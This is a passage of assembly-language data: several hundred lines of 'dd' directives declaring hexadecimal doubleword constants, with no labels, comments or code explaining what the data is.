dd 18449BBCh, 0F83D82A5h, 0C6C80FB4h, 14553993h, 7BE86E0h
dd 0BD356A4Ch, 0CA46338h, 42C689A1h, 0E488FDC6h, 0DDD5258Ah
dd 33F64FFCh, 0E6B90456h, 2005FF6h, 717C8888h, 7875C8A3h
dd 0DEFE1A2Bh, 0F876ACD7h, 0CE4140A9h, 0B9B434DAh, 5B9C9881h
dd 0A688C90Ah, 0D9DACF6h, 9900D5DCh, 176B7160h, 19FD8079h
dd 0A6A2687Dh, 29274E82h, 0AE65BCD7h, 0EECF5A6Ch, 71C31F76h
dd 3F1EEE2Bh, 0CD09262Eh, 4E0B4CCDh, 772B613Ah, 0F83FD959h
dd 0CD249418h, 4568ECD3h, 0E7539168h, 0BA087441h, 0C82BDEC3h
dd 0D0100774h, 8CA39D97h, 53747C79h, 0A0664629h, 488F826h
dd 236C8864h, 7902B361h, 0FF65CD2Ch, 65953876h, 0EC4DCFB9h
dd 0A7815F51h, 0E0607D54h, 6F3422Ch, 8AE613F1h, 5568EE53h
dd 127D16D4h, 62B9C3Ah, 0B4996C6Bh, 0F95A04A5h, 7BE009D9h
dd 71DAAACh, 0F515BE8h, 0BB23597Ch, 1BE15EB4h, 29D3940h
dd 831140FAh, 64D1BFB5h, 5BA3843Dh, 96F09C5h, 4AADDFBCh
dd 0C4F72A2Ah, 0ABE848F3h, 0D06ACFB4h, 8738CDD8h, 7BA33BAFh
dd 5BC5F89Fh, 49490ADAh, 0F0E0BCEBh, 92BE8A52h, 0C2755C3Ch
dd 11F7E608h, 2EBC5208h, 34A08B2Fh, 6831F153h, 917271A2h
dd 0A74AD33Fh, 0A0CB0CFAh, 2DC34A6Fh, 0D685F5CEh, 826C0E8h
dd 0CF719BDEh, 951FCE00h, 714FC69Fh, 5E88382h, 0D9DE4435h
dd 0B32B222Ch, 427B73DEh, 0E190837Bh, 0A7FFC9E2h, 9A14CE77h
dd 9C03A7B2h, 2E950484h, 5B00CEF4h, 6AED1985h, 6F0B9B0Ah
dd 0B9A7C5ACh, 0D5581157h, 112D5F08h, 0E087ACB4h, 5D4D82B2h
dd 6DE01F18h, 0E15F9E3Ah, 7F7F4A00h, 42D5A104h, 0D75A301Ah
dd 54AC9BEAh, 1CD5F346h, 0D9C92FC0h, 64B466B8h, 2F6BE24Dh
dd 109AC8CBh, 5BFD1AE0h, 38A1C7C8h, 246D0222h, 0D30514CBh
dd 0E0A44C83h, 51F58361h, 0FB0AB469h, 6767F135h, 0D570E0F0h
dd 3F4E4847h, 402D5806h, 0CCC25E4Ah, 73CC1FFFh, 7F41046Eh
dd 0A6237FB4h, 0B5A491F1h, 0E16EF8ADh, 0EA8D1479h, 0E265D1Fh
dd 0E7213CCAh, 0FB646BA7h, 90194682h, 64F63570h, 6027ECCAh
dd 422CC5DEh, 7AAFEB8Dh, 53793705h, 0D1512E57h, 0D4304219h
dd 596419DAh, 40BBAFABh, 0BFB8FF5h, 815FBF9Ch, 0C512C71Fh
dd 0AE3D699Fh, 45D71AEEh, 0D0F089C5h, 3A3CDF29h, 6A840CEh
dd 0C5A885D7h, 0E14EF828h, 5D9C773Fh, 0B4A6EF41h, 6E32B105h
dd 0F799947Dh, 79D9B5EEh, 7B2FBF6Ah, 1DF36A0Ch, 7A36D951h
dd 15223EB6h, 24B7E0F6h, 0FC2DE9DEh, 0CB463FE8h, 45C0390h
dd 0A30A6113h, 0A617B427h, 23971215h, 847F1EB6h, 85CC6CF7h
dd 23B8C7CDh, 0F8A8AE1Dh, 55803500h, 2690C25Dh, 88106D7h
dd 0D53EACDCh, 0E6827B9Ah, 56B43AC2h, 956483h, 7B65224Fh
dd 650CF94h, 6618C4Bh, 15D31430h, 0EF8FAA60h, 0BC49EEC0h
dd 90F0DC9Eh, 0B93FE194h, 349BB5F5h, 2214AC6Ch, 7B92A9EBh
dd 0FFBCB395h, 0B68561F7h, 421F9E90h, 9C3650D8h, 469585F1h
dd 7FB287F7h, 0FC693217h, 31077DC5h, 0EA60BDD2h, 8002683Bh
dd 249BA667h, 0E2E3B8C6h, 1F9B5191h, 6135A750h, 184106BBh
dd 0CE5C26D8h, 0EC5D1F24h, 6508516Bh, 46F6D80Ah, 0DCDECAEBh
dd 6AC50A1Bh, 8B8454F3h, 0F52DDD30h, 69E8CDD2h, 86F102B5h
dd 0CA9AA013h, 3D2C50D9h, 5E140FBEh, 0BA042A8Dh, 283E87A2h
dd 0B8ECDAFEh, 0E9F7AF34h, 0A01AC66Eh, 7F13B0F9h, 5999261Ah
dd 5BBBDB4Ah, 0D28FC97Bh, 190ED730h, 4901C6E6h, 0D5F318B9h
dd 795CD0B0h, 0E44EEC4Ch, 0E83C2A1Ch, 0E53C7652h, 20A20A5Bh
dd 54198F0Ah, 4BDE0448h, 0D9A5C4CDh, 0E5CE7D30h, 5DCB0842h
dd 8958A551h, 88491296h, 0D4A3352Ch, 9CED0C98h, 42926021h
dd 5D9CE995h, 96F0D5CCh, 0E4C3A143h, 0D42C464Ah, 2F637CD3h
dd 5032DA93h, 0C7F654C5h, 0F46C4D42h, 8C5AB3E4h, 0C830130Fh
dd 368933CDh, 898FDBA0h, 3C34C4F2h, 6707D49Ch, 438E7528h
dd 55B86C93h, 1A3C8354h, 43B400B4h, 4ABE001Ch, 0CC4F1794h
dd 81564E74h, 4BA3319Ch, 49909768h, 52A1BAC8h, 3818897Ah
dd 17BA6895h, 0F61410C4h, 45957654h, 5A14A854h, 0F493DDh
dd 0D063D975h, 4C60BF97h, 9E692CEFh, 82A06AB0h, 62BCF380h
dd 3BEB8162h, 0FBCC9051h, 2C60C3E9h, 6A8BD5BEh, 0DD7FCA37h
dd 1E24045Fh, 7020B767h, 3086A2F8h, 0FA637245h, 0E3CBCC14h
dd 0F91640B8h, 82B62E7Ch, 0D52195AAh, 0DC30E209h, 48F2A81Dh
dd 0A525C75h, 44232917h, 0AFC78045h, 5DE8ECBDh, 51523900h
dd 6EDA140Ch, 58E7DC79h, 0AF6950FFh, 6B21B920h, 6C4D36DDh
dd 0ED64996Fh, 4A875CBFh, 77184C48h, 85D3BDDDh, 1681FD06h
dd 227AA1C0h, 2151D19Dh, 0CE13D0DFh, 988E5925h, 0C1730B1Bh
dd 0EE96C667h, 0C70CBCB6h, 2F461022h, 1EAD2777h, 67CB260Bh
dd 0F0A4B7AFh, 0F6B47035h, 0F6B06A5Eh, 0BC46D0A1h, 5808C24Ch
dd 0FDECBBFDh, 2FFE800h, 598A94D3h, 0DA0325C7h, 66E31F7h
dd 80C8E54h, 0FA2B44AEh
dd 59CFA249h, 210C105h, 7BFD24FAh, 4F1BFB43h, 0CCF5ABE2h
dd 25B8CF4Ah, 88D464C2h, 95212AC9h, 0F851AEC3h, 0F483A508h
dd 0EE81A07Ah, 68381923h, 92809CFDh, 12608E95h, 8792EE39h
dd 3FEDD01Dh, 0B2DD064h, 16C84445h, 17B29DD0h, 0AEC40654h
dd 0FD0AF781h, 967595CCh, 0F2A54F78h, 0B2A50627h, 76A723FCh
dd 4534BC65h, 0CE5D9B18h, 4A6BAE30h, 0BB506DFCh, 5F262E69h
dd 0CA1ACE76h, 2B5B6EC1h, 0B55C89DFh, 0A2FBA7C8h, 37183F13h
dd 0EE380E84h, 67E170DFh, 0DA7E5111h, 158AF098h, 0D8D96E24h
dd 0B960E6C0h, 0E326DD2Eh, 0F2310A42h, 0A2F4944h, 0DFE88A65h
dd 0B0723D58h, 0AB6F8392h, 0D09AC87h, 0BD6C8DC1h, 928E0DA3h
dd 0CF401DC8h, 0D9AD393Ah, 915E3493h, 5D89A877h, 0B6FCC4D0h
dd 0F8B25290h, 31A9429Bh, 0BCD47BCFh, 0ED3B949Eh, 26048FDh
dd 0F63FE195h, 0C532C4D1h, 0BFD78780h, 420B9BBAh, 0B2FB27B3h
dd 49A793B3h, 0FDD7F20Ch, 0A8A83C6Bh, 0A8EB30E3h, 0AE80C3F6h
dd 7E730F33h, 567C13C5h, 0A864B11Fh, 600F9DE8h, 8BF8DDF9h
dd 6C67E514h, 702571ACh, 8E388115h, 36EB6E3h, 0DB0BF8E0h
dd 44957131h, 7650EAF9h, 0CB8FA140h, 19C15019h, 83E9E6C4h
dd 0BEFEB8BAh, 5F5AAED7h, 0CCF51C0Bh, 825DDADDh, 0D938ACA3h
dd 7725D72h, 5DCA068Ch, 0D02D42B3h, 9DF7E017h, 695896F4h
dd 0E5E959C1h, 8EF958CAh, 848D6E2Eh, 93E615B9h, 0B7FC96DDh
dd 0D23CF6D6h, 9989BE82h, 34B9417h, 559082DCh, 1E0E73C5h
dd 0D48DE820h, 92A38F82h, 802B57F0h, 29A83C5Dh, 0D6515789h
dd 9DFED8D7h, 0E937F5Eh, 0FCFC801Bh, 796A8F2Ch, 249586AFh
dd 2EE06BE3h, 58F34630h, 0B54ADD43h, 94B113h, 9017659Bh
dd 434F75B4h, 0B8AAC19h, 7910430Bh, 8E84B019h, 7810A1A4h
dd 5F3B4AF4h, 0BFCE3FC1h, 254481DFh, 7A15DF1Eh, 96DBCAA4h
dd 314355DCh, 0F4D4602Dh, 6EB3E633h, 0AAC5DC1h, 0E93923E7h
dd 88F9E58Eh, 0F301A19h, 4887E3A8h, 6459D45h, 3DF30BC1h
dd 0A265150Ch, 0CCA8192Fh, 232C1110h, 2C8E9969h, 0C6C81294h
dd 6C2A2F13h, 9071EF93h, 65CD123Ch, 6207D686h, 6F887782h
dd 0E41617EEh, 0F640AF29h, 0DC30F81Fh, 0BCA3FEC6h, 0D8600E36h
dd 71222D3Ch, 639B4AE2h, 9B80FBB7h, 0DFBDE2A0h, 25662E39h
dd 0FE73A461h, 1B3EFA75h, 26782D34h, 0C2124B68h, 0AEE07111h
dd 0F61ADDB4h, 872DC1F2h, 159A96A1h, 51D22A8h, 3D9B46F2h
dd 947EC2FDh, 559D2FA9h, 0A58562A1h, 0A4ECE396h, 0FB5FD60Eh
dd 0A2DAAFD3h, 7D21D9FAh, 3EFF39F7h, 1FF74FABh, 49882B41h
dd 0FC84DAFFh, 8A96A339h, 3C41FC87h, 0E976D9E8h, 0B683AC98h
dd 209D387Dh, 0EA7D787Fh, 0E63CA51Eh, 0FDA75D19h, 7927DE41h
dd 55A3FF2Eh, 20094E70h, 2A98350Eh, 0E61B19B6h, 0FFC3BEB6h
dd 0CD89F57Ah, 7780E216h, 0B22F327h, 0E5ECDD55h, 5FECA4A4h
dd 3B02F2D6h, 0C48BE9A8h, 0CFA50C74h, 4EEDBC05h, 14531273h
dd 7ABF379Dh, 533AA431h, 0C59AB7D1h, 794DAFB1h, 62E296C9h
dd 0AECD42B6h, 3690AD6Bh, 3C71CCCEh, 9FC60101h, 12EA215Ch
dd 1658E07Bh, 0BDFFDBA4h, 234C0BFAh, 254AAABCh, 9C1F13DEh
dd 654F41B6h, 90CF8CC1h, 0C2C0508Eh, 4FE7E8C9h, 66F0E85Eh
dd 6312C06Eh, 0C51C0883h, 5BCC58EFh, 0DDD33036h, 4097009Bh
dd 0B04E95Fh, 0DA86A725h, 0E0556041h, 0D75C9D9h, 0D40826D1h
dd 5640C97Bh, 73E58D46h, 35FFADE9h, 71458DA7h, 0CE51A504h
dd 7B08B03Eh, 93825E96h, 0FD303733h, 7D9DA307h, 144CED2Fh
dd 3B6EBD81h, 0AE5C2DB3h, 0C234C720h, 0BA8A6AEFh, 0BC404535h
dd 75FC2D4h, 5CD8C318h, 0E8C14F4Ch, 2FF43166h, 75EE8EBFh
dd 1E337DA3h, 80DBCF94h, 14975D91h, 0AD953B31h, 2FDF7D66h
dd 93F23075h, 0B774D639h, 0D41B6FA9h, 7F2A932Ah, 3F9AD2AEh
dd 76C2625Ch, 0CAF0DA2Bh, 8142C647h, 67B10D2Ah, 0BEA88535h
dd 762A1F4h, 45B1C4E9h, 0C9832052h, 88FBEE4Fh, 0C6004C02h
dd 4A48B7EEh, 9AABE95Bh, 4311F048h, 0AC7B3F25h, 0C271748Dh
dd 1126A14Eh, 772646CAh, 66E29183h, 0A287E380h, 2EAC26DDh
dd 55F59465h, 16664BBCh, 0AD484EF1h, 60D05876h, 0E790B544h
dd 5F46D2D8h, 0DC5C665Bh, 198D2417h, 5D979F4Fh, 9E29C4ADh
dd 0DC326AD5h, 0BAEA5B92h, 81045CCAh, 0A4F24BCAh, 9E001C3Bh
dd 81C4B3DBh, 0B3C643FAh, 0C56977FAh, 0C81575D9h, 252911D9h
dd 54A0996Dh, 0B53E2E15h, 50D2299Fh, 0C12CFF26h, 7711528Fh
dd 3726830Bh, 279B8A84h, 0BA5BC4Fh, 33E83689h, 0AEBFD8DFh
dd 54266B72h, 3605A436h, 0D9E335F4h, 70F13ECh, 34CFBBCh
dd 4D6E13E0h, 25A7D5FBh, 3FC07E15h, 23E5459h, 0FCC6FF13h
dd 120094ACh, 77AFFE22h, 1AC0A30h, 0C4C159EAh, 191AF70Fh
dd 2C65BF0Ch, 0D353E386h, 18F7CCCAh, 0BFEFA3C2h, 0F0CB8119h
dd 0BAF02C74h, 3C81F616h, 4685D3Eh, 33AFDC2Eh, 6BCF2B26h
dd 327197CEh, 0F2747054h, 0D05090D9h, 0C7E3F924h, 0D631AE65h
dd 50CB29DBh, 4E984CFEh, 9E1D6B0Ah, 36B026CEh, 8FF6F139h
dd 913E7B8h, 0DB8B4752h, 6B1FAB56h, 0C01F6F0Dh, 0C432B175h
dd 0DE25FCF6h, 0AE0AEB99h, 0A191EA6Ah, 231B9102h, 0D20FAEA5h
dd 0E4520B49h, 0AE4E095Dh, 2D54E0D6h, 0CC2AEFA9h, 0C568C0F6h
dd 0B6272D8Dh, 6CD6B3F3h, 0A9E35B39h, 413A6FF9h, 1AB8F508h
dd 82731109h, 0AAD27BBAh, 0EFCD9B6Bh, 0C047B5AAh, 6700CF39h
dd 0DF8F4C39h, 1C13A7F9h, 62D5D1E7h, 457E3A4Bh, 0FC1515BFh
dd 523F69BBh, 0A5E16BBDh, 86A1F806h, 3867AC08h, 0DF999FB6h
dd 527B0A94h, 9DFA5B0Ah, 0F0A7E4B6h, 0F36A6394h, 9D509561h
dd 0E750E6FEh, 969A767Ch, 0FB7F4133h, 0F421AF9h, 0A3E52588h
dd 80667244h, 1DD4FEF3h, 0DD520F89h, 91AACEF2h, 19B668F5h
dd 9DE3B31Eh, 738AB327h, 0B4899F36h, 672D0A88h, 97425C6Ch
dd 0EAA3F4FCh, 57BA8286h, 0C22C62BEh, 7EA7A9A0h, 0A7078593h
dd 9C6C4CEDh, 163CEh, 7281D385h, 7101273h, 7AF9A9A9h, 0A55B73D1h
dd 655DCD11h, 6C2C74Ch, 0E79A2A5Eh, 0DEFA3290h, 32169476h
dd 49311AC4h, 0FA8952E8h, 14F03D38h, 4DA1F1EEh, 1CCBF277h
dd 4988F40Eh, 48134658h, 4B072699h, 0D22896E7h, 8B0BDCF2h
dd 57FB0376h, 2D998379h, 0F6495C17h, 9A2AC4B3h, 0BDFFF2F8h
dd 526F2489h, 0DA728D2Ah, 4596F12Eh, 0AB957C54h, 0B77F2AC9h
dd 0B744B2E2h, 0B548D3D7h, 0EBF3634Ch, 17C7C68Bh, 0E12F0CDh
dd 64A78E0Ch, 6E72999Ch, 641DDBCAh, 104D5B63h, 0CA57FBAEh
dd 0E8D6F33Fh, 198828ABh, 312F2E8h, 0B5503876h, 0C673458h
dd 0D20B10E3h, 0C4CA30A4h, 61264595h, 420549DEh, 89C4B178h
dd 0A92F99B2h, 266B8ED1h, 0E5E8D977h, 2226BBAFh, 1D28846h
dd 0DA39DA94h, 0B4D93187h, 793ECEA1h, 0ED17AB06h, 421798D9h
dd 0F639D4E3h, 0EDC05F16h, 50B75C01h, 0D346B743h, 0ED7D710Ah
dd 0A7EF04BEh, 3A68C400h, 0D63578Fh, 4F2FC71Ch, 36F0672Ch
dd 0B56C2B8Ch, 0FDBBE3BDh, 5772A1C8h, 0FC7940Eh, 4F68DE4Eh
dd 3E14650Bh, 36FEE069h, 0B43C082Dh, 0C6B05F69h, 68AB5604h
dd 30FC43B6h, 4C27F4h, 85114592h, 52A1FE50h, 745676D2h
dd 0A6F50BB7h, 0B9CDC3C1h, 0A5FEB486h, 0B95C5A18h, 9B3D2B94h
dd 0B75B667Eh, 9E8C136Ah, 0CE9880DEh, 0C88C0533h, 2BFC32ABh
dd 0CA3EC57Dh, 0CAC4E19Ch, 0C1107B49h, 6EBE4217h, 0C4DFBDF6h
dd 0DD2F165Dh
dd 0BA799FF5h, 0E79087B9h, 0E2FCA7A4h, 852D29FCh, 95429B39h
dd 9397A52Ah, 0DA6B5B26h, 19072D65h, 98D0FFBEh, 0B711BCDh
dd 3D0A4819h, 0A5E7BC6Fh, 9D82CAD6h, 250563AAh, 0B7ED3435h
dd 0DAA75B3Fh, 2D6CAE2Eh, 9A818E14h, 0BEA4F9E0h, 0BEC94AFBh
dd 71B6BED7h, 32B80C03h, 9EAE3664h, 0D51C684Ch, 39F22FEBh
dd 5DDF2DC6h, 8B0DA1Ch, 0B90480BDh, 0B1200AA2h, 1EC30FB4h
dd 9F86E746h, 8B431DB2h, 14D54A19h, 659A9304h, 0CBD27B2h
dd 9261AA1Dh, 121A5926h, 827DB5ACh, 0ABD819CEh, 95D700E0h
dd 5AA18ADBh, 9E954A10h, 514D36FBh, 0B79CC55Ah, 0ED399836h
dd 0CD7718C8h, 3E6A3A9h, 85520912h, 6844B84Fh, 78C3D9C8h
dd 0A087D2Fh, 7600F42Bh, 8A912D4Fh, 185CC945h, 8399F0D8h
dd 0FD6C426Dh, 287EE6C3h, 0A0FC3DA3h, 0AB73C11h, 543A9875h
dd 0C75A659Fh, 4606FEC9h, 34E6251Fh, 6CAF960Dh, 0F2E8841Ah
dd 43B75F30h, 424D4B4Ah, 0A770F18h, 0C8E12D08h, 0A9ECB23h
dd 63AA5E1Ah, 0FA17A32Bh, 1CEC0504h, 1DA9352Fh, 2F16D768h
dd 5FD28D31h, 59ADF6C9h, 8AE84757h, 46E973DFh, 36D1ED85h
dd 0D240C20Ch, 0AD640168h, 7012586Fh, 98668DCDh, 5049C30h
dd 9374025Eh, 0FBD8E067h, 0ABE193D6h, 0CD4C9381h, 0F643225Ch
dd 5FE23371h, 9780540h, 6CF0BCEAh, 0FDF0F60Dh, 0E72DA313h
dd 74F95BD4h, 4B0E9FB4h, 41DBE915h, 0D4221290h, 1A5CE430h
dd 69B6C4E8h, 0E540B8D5h, 678E192Ah, 0BF44263Ah, 29B0C58Dh
dd 0E048A408h, 40AE5270h, 4A14E299h, 9B51A105h, 2310BC8h
dd 0F2227878h, 6E18370Dh, 29B010DDh, 36BF74D6h, 0E3CFA419h
dd 0DF55828Ah, 1852C129h, 0C9751D66h, 8609C8B7h, 3751CDA2h
dd 0E8C323D2h, 9B0B955Bh, 2F03851Fh, 0A075BBDEh, 0D74DCD9Dh
dd 0AFB9E83Dh, 0CB3770A2h, 0FE9BFF7Eh, 183EA58Fh, 0FB7FB10h
dd 0A038949Fh, 73B22E3Ch, 80DE8801h, 0CA81CF5Ch, 5D2F8ED8h
dd 0FEAAB905h, 0B835F022h, 0BE82C5C2h, 0C3C13E7Bh, 702E36A9h
dd 0FDE1F236h, 9CF25F93h, 8671634Bh, 34F47F74h, 0BA0AECABh
dd 9F63768h, 5BB942DCh, 821FDF87h, 8C5091FFh, 73C87BCFh
dd 0B2090FDCh, 480DE360h, 0F7E00B94h, 0AE66EAB4h, 0DC9EF6FEh
dd 0C08334EFh, 90663784h, 6E99A650h, 4B92C05Ah, 96D5AC03h
dd 0E28B84D7h, 0E9BFA393h, 3B7B0972h, 450B43Ch, 6840F8D4h
dd 0FA134947h, 0D15FD996h, 4095CF4Bh, 0A69D9206h, 2D355247h
dd 0EBE2F4B3h, 0A5CC7FA7h, 0A0F4A681h, 7131E73Fh, 4AD1373Eh
dd 52D1002Eh, 84A22FC6h, 0A5638004h, 81937D3Ch, 19B70B24h
dd 8A7F3B21h, 2EFBCB23h, 97F89D3Eh, 87184BC0h, 819F5415h
dd 7184A55Ch, 76782655h, 52FE5085h, 8719F9BCh, 352AF448h
dd 0F4058C4Ah, 0E69F64F3h, 7BF064F6h, 0CF2B215h, 0FDD4372Ch
dd 49487BC5h, 5A17EBD3h, 0B6B026EAh, 50415AA0h, 81FB8A93h
dd 0C1AEA9A0h, 20CE3B91h, 33F0DA21h, 7577B403h, 3BD97107h
dd 0F73BD88Fh, 9E017B2Fh, 6C837D19h, 0ECC6453Ah, 46163E16h
dd 0D695985Bh, 0F5C83587h, 5FFF422Eh, 0D931758h, 59503736h
dd 9D04D7Ch, 0BF19112Ah, 0E09D5B44h, 17F24FE2h, 9A088D25h
dd 8DEE8BF4h, 0A14021CAh, 9F8FBCB8h, 1F1205DAh, 31E3698Eh
dd 0FF55F2C9h, 0C33E4E83h, 132368Fh, 0CE6A7873h, 6948BF21h
dd 0DE1061Ch, 939BCB5Fh, 6A651A4Bh, 9141EC5Bh, 94613B5Fh
dd 0FF3482A1h, 6254F765h, 0AAE8F5B9h, 0CEDAAEA3h, 5DFFF067h
dd 0D4C8C40Ch, 94B0618Fh, 18754011h, 70045D91h, 39875668h
dd 8068CEB6h, 67D07580h, 4F2B8056h, 9E97F70Ch, 0E30DE03Ah
dd 70C1B3FAh, 0FED772A5h, 5F49F4C2h, 7CBBFDB2h, 64B0DB0Eh
dd 543D0D80h, 79E18527h, 5FB7A3FCh, 5BB25577h, 101C96DCh
dd 709B84Ch, 2261BF6Fh, 0B11441Ch, 14938E51h, 5DE3768Eh
dd 144C5FA3h, 83264EAFh, 0D852DEBAh, 2374DFECh, 225466Bh
dd 622DA1B4h, 458FA818h, 37148AF1h, 8AE37562h, 92650698h
dd 0D42D6E09h, 1888896Ah, 8327331Eh, 4EA2CB0Fh, 0C7D3486h
dd 0B583B6DFh, 629FC9F8h, 0CEFECE8Dh, 51BD653Ch, 0B4D9FEDEh
dd 0B6149AD0h, 0CAA64407h, 257793BCh, 0D1379A57h, 0B65D6492h
dd 1E3E7BDDh, 0CD8C71FCh, 8308BA19h, 3FCC71D2h, 56F5E132h
dd 0C9613F76h, 5B928107h, 0C9627399h, 0A8C7B8C3h, 7B81255Fh
dd 0A31D2CBFh, 2D51AE8Ch, 98374F5h, 6FFCEE64h, 53DD4423h
dd 5ECCAA30h, 0B6A5F3EEh, 99AFFA5Eh, 51402FAAh, 8B8F8FEAh
dd 65E07A23h, 56003D50h, 41FCCD8Dh, 0A7132DCBh, 1BE41DEDh
dd 0C973F80h, 0EB173EDCh, 0D90D1CF0h, 0F93C1094h, 0D8AAEF70h
dd 3B1F5528h, 0B1B59F81h, 8491A8C0h, 24E081BFh, 0A24BF23Bh
dd 0B1058C17h, 0B83CD65Fh, 85D03EA4h, 0A1A4386Dh, 0BC74E4A1h
dd 1C3216B3h, 0DC378CB2h, 0C261DA4Fh, 0B849F3E5h, 67137176h
dd 0D8F01AF7h, 0E5C1B34h, 8A4AF42Bh, 0F7A1AF72h, 2B65573Bh
dd 0A2C18207h, 8AB26B4Ah, 4FCDE5E1h, 0D79DAFDCh, 22A91C01h
dd 668BBF34h, 0ACC8FC3Dh, 5AF710D1h, 0DAAAAC7Ah, 0D719F034h
dd 80507591h, 2CC02944h, 0D9550ECDh, 282C0624h, 0FC63CDB8h
dd 4329914Ch, 329E23D6h, 0AABAE9C5h, 484B95ABh, 9612CAB9h
dd 7F52FABBh, 8AAF3B6Eh, 6511B312h, 0F8974009h, 6C9C7446h
dd 0A465BD40h, 0FB857F92h, 76370EF5h, 0F68C4E2Bh, 42BF6877h
dd 0F3C4C5B3h, 8D146408h, 362DD7B4h, 20B488B8h, 49A7D479h
dd 60B2DA1Eh, 1FC17E86h, 6D00CF67h, 8BD4D87Fh, 0F1DBFDDEh
dd 87270368h, 528019BAh, 440C4CD1h, 0AE132FE4h, 0D87464ADh
dd 0EC57D5FEh, 89772C93h, 117109FFh, 0C483961Ah, 6B81A88Fh
dd 85B8C00Eh, 2D45D574h, 0D4B0F887h, 8EC0D753h, 9168ED4Ch
dd 7A594AEh, 3DD5EC45h, 69A12BBFh, 0B2532B87h, 48220D7Ah
dd 92FEF7B3h, 0BE9050B4h, 0D4EFE103h, 5533F932h, 41A7C31Ah
dd 0E701EF34h, 5722C0DCh, 65E6E69Eh, 1E434BD4h, 0CC0B7792h
dd 0FD333497h, 27162AAEh, 6D807C67h, 64638401h, 8411A69Bh
dd 0E93CCA76h, 1FDAB3F0h, 9203A9A3h, 523036A8h, 732038FCh
dd 14595D7h, 6D61A31h, 0D6317BCBh, 99645A21h, 97A633Dh
dd 3FB430CFh, 8462F6Dh, 8CD043BDh, 0B219B127h, 6D5A82F0h
dd 4DE4DE76h, 4293F5CBh, 0D5734494h, 0FFEB1AEAh, 6DCF133Bh
dd 83A5D858h, 4EB26DB7h, 0F871F3FAh, 0BA65BD32h, 59FFB122h
dd 6CC54E9h, 407124D8h, 0C0E0CA54h, 4262F394h, 73B9AD64h
dd 0F1D29AABh, 0CB2E1DA8h, 0C005E78Bh, 0E3BA5833h, 0DBAA8BC4h
dd 0D8BD4521h, 0D2DE1C9Ch, 72FB7645h, 9E8D0F49h, 704A71ACh
dd 0F464B258h, 7D60B9DCh, 80ACEACEh, 647E237h, 41822EDh
dd 0E545FCA0h, 2A8AE880h, 0A7860AE5h, 96EB53B4h, 94F92A0Dh
dd 7D180C41h, 121C2D54h, 0C3CC4F30h, 31B41A79h, 0ECDE0C7Ch
dd 0E1BED09Bh, 9653E52Bh, 40986402h, 0B83D2D96h, 1FA1BD89h
dd 0A3B672DCh, 8796B51Ah, 3AC1B1D5h, 0D3E75828h, 6EC7071Bh
dd 69DE63ECh, 0AD7CDBABh, 12B66B0Bh, 41C8857Ch, 7194DD2Ch
dd 0CFEB5916h, 57844852h, 0E5399D3Eh, 0ABD91929h, 4D7DDDFCh
dd 7ED14614h, 9604B281h, 13240CFAh, 6EB2B379h, 8DBAF0Dh
dd 0BA1013FBh, 79DB80B0h, 0F992AD6Fh, 2E6C7134h, 747E6B5Bh
dd 9CC8F51Bh, 0C7FBAB54h, 0A0A9E0F6h, 0DAB86A32h, 1BA612C2h
dd 0A581E393h, 19AE2893h, 7133425h, 0AA7CC51Dh, 0A1078471h
dd 843E51E2h, 2BC336BFh
dd 3A28D04Eh, 0B9B0FECEh, 8B3BD491h, 0CBD0F7E6h, 775AD740h
dd 70843C1Fh, 0F2BE491Dh, 0E1E6B90h, 6AA0389Ah, 0ED9E49C1h
dd 4518E740h, 88774973h, 2D8A5E12h, 38CB9B8Bh, 182B23DEh
dd 6C4908FAh, 68E5CF0Bh, 812E1364h, 0C327DE5Eh, 0AEBD5563h
dd 0B9D7EADh, 6BFD446Bh, 79A55EE5h, 0CEDF6DFDh, 0C59B8E9Ch
dd 5B39E22Fh, 0A191BCBEh, 0AA1F8637h, 0D3EAFE6h, 0CE57BF7Bh
dd 34C0343Dh, 7563980Dh, 84B06C9Dh, 0A5B9C54Eh, 24BD394Ch
dd 87C9A481h, 9B9E7697h, 9FEAD739h, 0B16F28E7h, 0FB9DE2A9h
dd 0A4985EC5h, 43E377B8h, 0F8921CB0h, 0AE3DBA4Eh, 96046F2Dh
dd 27960423h, 517EA750h, 300EDC53h, 85653EE0h, 1C784972h
dd 87D05094h, 0ACEE1A61h, 738464C9h, 0C06A71FAh, 3DC54A2Fh
dd 7C72392Dh, 28EE424Ch, 8F2F0710h, 4504333Ah, 6C282C5Fh
dd 44A9CD4Bh, 0F728960Bh, 2967AB72h, 44F2E523h, 5B880434h
dd 768DDCB6h, 55B7762Eh, 29AC82DDh, 0C7AF6416h, 0AA95FD41h
dd 2B1C256Fh, 0D8765612h, 155CDA1Ah, 7431A308h, 261D4EBBh
dd 6A24B96Bh, 87416CD4h, 0FF48D5CBh, 152CEE70h, 839DFC6Fh
dd 1DEEB4C6h, 0A7FD3D7Fh, 0F18E6E25h, 46878F66h, 4D41CF1Dh
dd 4814FCCBh, 0D2CB42C5h, 322B5FFAh, 54E04CBh, 5229A27Dh
dd 18C6AF28h, 39C91D23h, 0A532F0AFh, 0F646DE2Fh, 0E4BF70C3h
dd 5A7A5A85h, 0DB414A6Eh, 0EFD43FD8h, 0CCCDB0D3h, 4D63DD55h
dd 191DFBFDh, 0AF9B8274h, 9E92E90Eh, 4AB91D13h, 82E50185h
dd 7F9EF4EEh, 48AB1886h, 168D99AAh, 44E39A20h, 5596DF87h
dd 0D9B6EF42h, 50036F1h, 0B98DBB18h, 91A81D9Eh, 2CDD8BD3h
dd 5815BC95h, 1AD9CA5Ah, 5CF363B9h, 0D3A05E03h, 0A39EFA5h
dd 9CE805D0h, 0B5D90F25h, 0AD85CBDBh, 0D91DD8A5h, 16C06EE9h
dd 2E44A718h, 839D11A4h, 2BEBE3AFh, 79A667E2h, 2BDF4C2Ch
dd 0C4B64A70h, 534BD914h, 0A1C57EDh, 495A9044h, 0DD164740h
dd 561FE2A4h, 0FC86296Ch, 6A82C879h, 91086BEEh, 79823703h
dd 402A1938h, 0D50F148Fh, 0E6717311h, 581FFBB3h, 0A6656656h
dd 0E94BB0ACh, 5F38DB95h, 0D6223D60h, 481FB48Fh, 2E35D794h
dd 0A2EB612h, 4618F66h, 21FD63Ah, 564F3F97h, 0DD96C903h
dd 859BA7DBh, 0E19D3E21h, 131D5DAEh, 0C44324D6h, 6F20A054h
dd 35F38BEEh, 88345563h, 75FAE10Dh, 1EB58B45h, 14606E42h
dd 0A2CEAC5Ch, 13445A48h, 6DF5688Dh, 8DE09C09h, 4FB6078Ch
dd 909B1505h, 0EA87023Ch, 27130EDEh, 559086C8h, 3395DC6Fh
dd 22254E24h, 76A58320h, 0B46A8E45h, 3BE38F1Ch, 0DCBD391Dh
dd 667D42D4h, 462E07A2h, 3DC204A9h, 8DBCC263h, 0B9ED3DABh
